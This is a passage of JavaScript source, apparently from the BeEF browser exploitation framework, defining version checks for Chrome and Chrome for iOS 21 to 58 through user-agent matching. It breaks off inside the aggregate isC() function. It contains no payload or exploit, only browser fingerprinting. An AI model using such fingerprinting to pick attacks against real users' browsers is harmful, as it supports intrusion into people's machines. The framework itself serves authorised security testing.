  3508.      * @example: beef.browser.isC21iOS()
  3509.      */
  3510.     isC21iOS: function () {
  3511.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
  3512.     },
  3513.  
  3514.     /**
  3515.      * Returns true if Chrome 22.
  3516.      * @example: beef.browser.isC22()
  3517.      */
  3518.     isC22: function () {
  3519.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
  3520.     },
  3521.  
  3522.     /**
  3523.      * Returns true if Chrome for iOS 22.
  3524.      * @example: beef.browser.isC22iOS()
  3525.      */
  3526.     isC22iOS: function () {
  3527.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
  3528.     },
  3529.  
  3530.     /**
  3531.      * Returns true if Chrome 23.
  3532.      * @example: beef.browser.isC23()
  3533.      */
  3534.     isC23: function () {
  3535.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
  3536.     },
  3537.  
  3538.     /**
  3539.      * Returns true if Chrome for iOS 23.
  3540.      * @example: beef.browser.isC23iOS()
  3541.      */
  3542.     isC23iOS: function () {
  3543.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
  3544.     },
  3545.  
  3546.     /**
  3547.      * Returns true if Chrome 24.
  3548.      * @example: beef.browser.isC24()
  3549.      */
  3550.     isC24: function () {
  3551.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
  3552.     },
  3553.  
  3554.     /**
  3555.      * Returns true if Chrome for iOS 24.
  3556.      * @example: beef.browser.isC24iOS()
  3557.      */
  3558.     isC24iOS: function () {
  3559.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
  3560.     },
  3561.  
  3562.     /**
  3563.      * Returns true if Chrome 25.
  3564.      * @example: beef.browser.isC25()
  3565.      */
  3566.     isC25: function () {
  3567.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
  3568.     },
  3569.  
  3570.     /**
  3571.      * Returns true if Chrome for iOS 25.
  3572.      * @example: beef.browser.isC25iOS()
  3573.      */
  3574.     isC25iOS: function () {
  3575.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
  3576.     },
  3577.  
  3578.     /**
  3579.      * Returns true if Chrome 26.
  3580.      * @example: beef.browser.isC26()
  3581.      */
  3582.     isC26: function () {
  3583.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
  3584.     },
  3585.  
  3586.     /**
  3587.      * Returns true if Chrome for iOS 26.
  3588.      * @example: beef.browser.isC26iOS()
  3589.      */
  3590.     isC26iOS: function () {
  3591.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
  3592.     },
  3593.  
  3594.     /**
  3595.      * Returns true if Chrome 27.
  3596.      * @example: beef.browser.isC27()
  3597.      */
  3598.     isC27: function () {
  3599.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
  3600.     },
  3601.  
  3602.     /**
  3603.      * Returns true if Chrome for iOS 27.
  3604.      * @example: beef.browser.isC27iOS()
  3605.      */
  3606.     isC27iOS: function () {
  3607.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
  3608.     },
  3609.  
  3610.     /**
  3611.      * Returns true if Chrome 28.
  3612.      * @example: beef.browser.isC28()
  3613.      */
  3614.     isC28: function () {
  3615.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
  3616.     },
  3617.  
  3618.     /**
  3619.      * Returns true if Chrome for iOS 28.
  3620.      * @example: beef.browser.isC28iOS()
  3621.      */
  3622.     isC28iOS: function () {
  3623.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
  3624.     },
  3625.  
  3626.     /**
  3627.      * Returns true if Chrome 29.
  3628.      * @example: beef.browser.isC29()
  3629.      */
  3630.     isC29: function () {
  3631.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
  3632.     },
  3633.  
  3634.     /**
  3635.      * Returns true if Chrome for iOS 29.
  3636.      * @example: beef.browser.isC29iOS()
  3637.      */
  3638.     isC29iOS: function () {
  3639.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
  3640.     },
  3641.  
  3642.     /**
  3643.      * Returns true if Chrome 30.
  3644.      * @example: beef.browser.isC30()
  3645.      */
  3646.     isC30: function () {
  3647.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
  3648.     },
  3649.  
  3650.     /**
  3651.      * Returns true if Chrome for iOS 30.
  3652.      * @example: beef.browser.isC30iOS()
  3653.      */
  3654.     isC30iOS: function () {
  3655.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
  3656.     },
  3657.  
  3658.     /**
  3659.      * Returns true if Chrome 31.
  3660.      * @example: beef.browser.isC31()
  3661.      */
  3662.     isC31: function () {
  3663.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
  3664.     },
  3665.  
  3666.     /**
  3667.      * Returns true if Chrome for iOS 31.
  3668.      * @example: beef.browser.isC31iOS()
  3669.      */
  3670.     isC31iOS: function () {
  3671.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
  3672.     },
  3673.  
  3674.     /**
  3675.      * Returns true if Chrome 32.
  3676.      * @example: beef.browser.isC32()
  3677.      */
  3678.     isC32: function () {
  3679.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
  3680.     },
  3681.  
  3682.     /**
  3683.      * Returns true if Chrome for iOS 32.
  3684.      * @example: beef.browser.isC32iOS()
  3685.      */
  3686.     isC32iOS: function () {
  3687.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
  3688.     },
  3689.  
  3690.     /**
  3691.      * Returns true if Chrome 33.
  3692.      * @example: beef.browser.isC33()
  3693.      */
  3694.     isC33: function () {
  3695.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
  3696.     },
  3697.  
  3698.     /**
  3699.      * Returns true if Chrome for iOS 33.
  3700.      * @example: beef.browser.isC33iOS()
  3701.      */
  3702.     isC33iOS: function () {
  3703.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
  3704.     },
  3705.  
  3706.     /**
  3707.      * Returns true if Chrome 34.
  3708.      * @example: beef.browser.isC34()
  3709.      */
  3710.     isC34: function () {
  3711.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
  3712.     },
  3713.  
  3714.     /**
  3715.      * Returns true if Chrome for iOS 34.
  3716.      * @example: beef.browser.isC34iOS()
  3717.      */
  3718.     isC34iOS: function () {
  3719.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
  3720.     },
  3721.  
  3722.     /**
  3723.      * Returns true if Chrome 35.
  3724.      * @example: beef.browser.isC35()
  3725.      */
  3726.     isC35: function () {
  3727.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
  3728.     },
  3729.  
  3730.     /**
  3731.      * Returns true if Chrome for iOS 35.
  3732.      * @example: beef.browser.isC35iOS()
  3733.      */
  3734.     isC35iOS: function () {
  3735.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
  3736.     },
  3737.  
  3738.     /**
  3739.      * Returns true if Chrome 36.
  3740.      * @example: beef.browser.isC36()
  3741.      */
  3742.     isC36: function () {
  3743.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
  3744.     },
  3745.  
  3746.     /**
  3747.      * Returns true if Chrome for iOS 36.
  3748.      * @example: beef.browser.isC36iOS()
  3749.      */
  3750.     isC36iOS: function () {
  3751.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
  3752.     },
  3753.  
  3754.     /**
  3755.      * Returns true if Chrome 37.
  3756.      * @example: beef.browser.isC37()
  3757.      */
  3758.     isC37: function () {
  3759.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
  3760.     },
  3761.  
  3762.     /**
  3763.      * Returns true if Chrome for iOS 37.
  3764.      * @example: beef.browser.isC37iOS()
  3765.      */
  3766.     isC37iOS: function () {
  3767.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
  3768.     },
  3769.  
  3770.     /**
  3771.      * Returns true if Chrome 38.
  3772.      * @example: beef.browser.isC38()
  3773.      */
  3774.     isC38: function () {
  3775.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
  3776.     },
  3777.  
  3778.     /**
  3779.      * Returns true if Chrome for iOS 38.
  3780.      * @example: beef.browser.isC38iOS()
  3781.      */
  3782.     isC38iOS: function () {
  3783.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
  3784.     },
  3785.  
  3786.     /**
  3787.      * Returns true if Chrome 39.
  3788.      * @example: beef.browser.isC39()
  3789.      */
  3790.     isC39: function () {
  3791.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
  3792.     },
  3793.  
  3794.     /**
  3795.      * Returns true if Chrome for iOS 39.
  3796.      * @example: beef.browser.isC39iOS()
  3797.      */
  3798.     isC39iOS: function () {
  3799.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
  3800.     },
  3801.  
  3802.     /**
  3803.      * Returns true if Chrome 40.
  3804.      * @example: beef.browser.isC40()
  3805.      */
  3806.     isC40: function () {
  3807.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
  3808.     },
  3809.  
  3810.     /**
  3811.      * Returns true if Chrome for iOS 40.
  3812.      * @example: beef.browser.isC40iOS()
  3813.      */
  3814.     isC40iOS: function () {
  3815.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
  3816.     },
  3817.  
  3818.     /**
  3819.      * Returns true if Chrome 41.
  3820.      * @example: beef.browser.isC41()
  3821.      */
  3822.     isC41: function () {
  3823.         return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
  3824.     },
  3825.  
  3826.     /**
  3827.      * Returns true if Chrome for iOS 41.
  3828.      * @example: beef.browser.isC41iOS()
  3829.      */
  3830.     isC41iOS: function () {
  3831.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
  3832.     },
  3833.  
  3834.     /**
  3835.      * Returns true if Chrome 42.
  3836.      * @example: beef.browser.isC42()
  3837.      */
  3838.     isC42: function () {
  3839.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
  3840.     },
  3841.  
  3842.     /**
  3843.      * Returns true if Chrome for iOS 42.
  3844.      * @example: beef.browser.isC42iOS()
  3845.      */
  3846.     isC42iOS: function () {
  3847.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
  3848.     },
  3849.  
  3850.     /**
  3851.      * Returns true if Chrome 43.
  3852.      * @example: beef.browser.isC43()
  3853.      */
  3854.     isC43: function () {
  3855.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
  3856.     },
  3857.  
  3858.     /**
  3859.      * Returns true if Chrome for iOS 43.
  3860.      * @example: beef.browser.isC43iOS()
  3861.      */
  3862.     isC43iOS: function () {
  3863.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
  3864.     },
  3865.  
  3866.     /**
  3867.      * Returns true if Chrome 44.
  3868.      * @example: beef.browser.isC44()
  3869.      */
  3870.     isC44: function () {
  3871.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
  3872.     },
  3873.  
  3874.     /**
  3875.      * Returns true if Chrome for iOS 44.
  3876.      * @example: beef.browser.isC44iOS()
  3877.      */
  3878.     isC44iOS: function () {
  3879.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
  3880.     },
  3881.  
  3882.     /**
  3883.      * Returns true if Chrome 45.
  3884.      * @example: beef.browser.isC45()
  3885.      */
  3886.     isC45: function () {
  3887.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
  3888.     },
  3889.  
  3890.     /**
  3891.      * Returns true if Chrome for iOS 45.
  3892.      * @example: beef.browser.isC45iOS()
  3893.      */
  3894.     isC45iOS: function () {
  3895.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
  3896.     },
  3897.  
  3898.     /**
  3899.      * Returns true if Chrome 46.
  3900.      * @example: beef.browser.isC46()
  3901.      */
  3902.     isC46: function () {
  3903.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
  3904.     },
  3905.  
  3906.     /**
  3907.      * Returns true if Chrome for iOS 46.
  3908.      * @example: beef.browser.isC46iOS()
  3909.      */
  3910.     isC46iOS: function () {
  3911.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
  3912.     },
  3913.  
  3914.     /**
  3915.      * Returns true if Chrome 47.
  3916.      * @example: beef.browser.isC47()
  3917.      */
  3918.     isC47: function () {
  3919.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
  3920.     },
  3921.  
  3922.     /**
  3923.      * Returns true if Chrome for iOS 47.
  3924.      * @example: beef.browser.isC47iOS()
  3925.      */
  3926.     isC47iOS: function () {
  3927.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
  3928.     },
  3929.  
  3930.     /**
  3931.      * Returns true if Chrome 48.
  3932.      * @example: beef.browser.isC48()
  3933.      */
  3934.     isC48: function () {
  3935.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
  3936.     },
  3937.  
  3938.     /**
  3939.      * Returns true if Chrome for iOS 48.
  3940.      * @example: beef.browser.isC48iOS()
  3941.      */
  3942.     isC48iOS: function () {
  3943.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
  3944.     },
  3945.  
  3946.     /**
  3947.      * Returns true if Chrome 49.
  3948.      * @example: beef.browser.isC49()
  3949.      */
  3950.     isC49: function () {
  3951.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
  3952.     },
  3953.  
  3954.     /**
  3955.      * Returns true if Chrome for iOS 49.
  3956.      * @example: beef.browser.isC49iOS()
  3957.      */
  3958.     isC49iOS: function () {
  3959.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
  3960.     },
  3961.  
  3962.     /**
  3963.      * Returns true if Chrome 50.
  3964.      * @example: beef.browser.isC50()
  3965.      */
  3966.     isC50: function () {
  3967.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
  3968.     },
  3969.  
  3970.     /**
  3971.      * Returns true if Chrome for iOS 50.
  3972.      * @example: beef.browser.isC50iOS()
  3973.      */
  3974.     isC50iOS: function () {
  3975.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
  3976.     },
  3977.  
  3978.     /**
  3979.      * Returns true if Chrome 51.
  3980.      * @example: beef.browser.isC51()
  3981.      */
  3982.     isC51: function () {
  3983.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
  3984.     },
  3985.  
  3986.     /**
  3987.      * Returns true if Chrome for iOS 51.
  3988.      * @example: beef.browser.isC51iOS()
  3989.      */
  3990.     isC51iOS: function () {
  3991.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
  3992.     },
  3993.    
  3994.     /**
  3995.      * Returns true if Chrome 52.
  3996.      * @example: beef.browser.isC52()
  3997.      */
  3998.     isC52: function () {
  3999.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
  4000.     },
  4001.    
  4002.     /**
  4003.      * Returns true if Chrome for iOS 52.    
  4004.      * @example: beef.browser.isC52iOS()
  4005.      */
  4006.     isC52iOS: function () {
  4007.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
  4008.     },
  4009.    
  4010.     /**
  4011.      * Returns true if Chrome 53.
  4012.      * @example: beef.browser.isC53()
  4013.      */
  4014.     isC53: function () {
  4015.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
  4016.     },
  4017.    
  4018.     /**
  4019.      * Returns true if Chrome for iOS 53.
  4020.      * @example: beef.browser.isC53iOS()
  4021.      */
  4022.     isC53iOS: function () {
  4023.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
  4024.     },
  4025.    
  4026.     /**
  4027.      * Returns true if Chrome 54.
  4028.      * @example: beef.browser.isC54()
  4029.      */
  4030.     isC54: function () {
  4031.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
  4032.     },
  4033.    
  4034.     /**
  4035.      * Returns true if Chrome for iOS 54.
  4036.      * @example: beef.browser.isC54iOS()
  4037.      */
  4038.     isC54iOS: function () {
  4039.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
  4040.     }, 
  4041.    
  4042.     /**
  4043.      * Returns true if Chrome 55.
  4044.      * @example: beef.browser.isC55()
  4045.      */
  4046.     isC55: function () {
  4047.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
  4048.     },
  4049.    
  4050.     /**
  4051.      * Returns true if Chrome for iOS 55.
  4052.      * @example: beef.browser.isC55iOS()
  4053.      */
  4054.     isC55iOS: function () {
  4055.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
  4056.     }, 
  4057.    
  4058.     /**
  4059.      * Returns true if Chrome 56.
  4060.      * @example: beef.browser.isC56()
  4061.      */
  4062.     isC56: function () {
  4063.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
  4064.     },
  4065.    
  4066.     /**
  4067.      * Returns true if Chrome for iOS 56.
  4068.      * @example: beef.browser.isC56iOS()
  4069.      */
  4070.     isC56iOS: function () {
  4071.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
  4072.     },
  4073.    
  4074.     /**
  4075.      * Returns true if Chrome 57.
  4076.      * @example: beef.browser.isC57()
  4077.      */
  4078.     isC57: function () {
  4079.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
  4080.     },
  4081.  
  4082.     /**
  4083.      * Returns true if Chrome for iOS 57.
  4084.      * @example: beef.browser.isC57iOS()
  4085.      */
  4086.     isC57iOS: function () {
  4087.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
  4088.     },
  4089.  
  4090.     /**
  4091.      * Returns true if Chrome 58.
  4092.      * @example: beef.browser.isC58()
  4093.      */
  4094.     isC58: function () {
  4095.         return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
  4096.     },
  4097.  
  4098.     /**
  4099.      * Returns true if Chrome for iOS 58.
  4100.      * @example: beef.browser.isC58iOS()
  4101.      */
  4102.     isC58iOS: function () {
  4103.         return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
  4104.     },
  4105.  
  4106.     /**
  4107.      * Returns true if Chrome.
  4108.      * @example: beef.browser.isC()
  4109.      */
  4110.     isC: function () {
  4111.         return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || 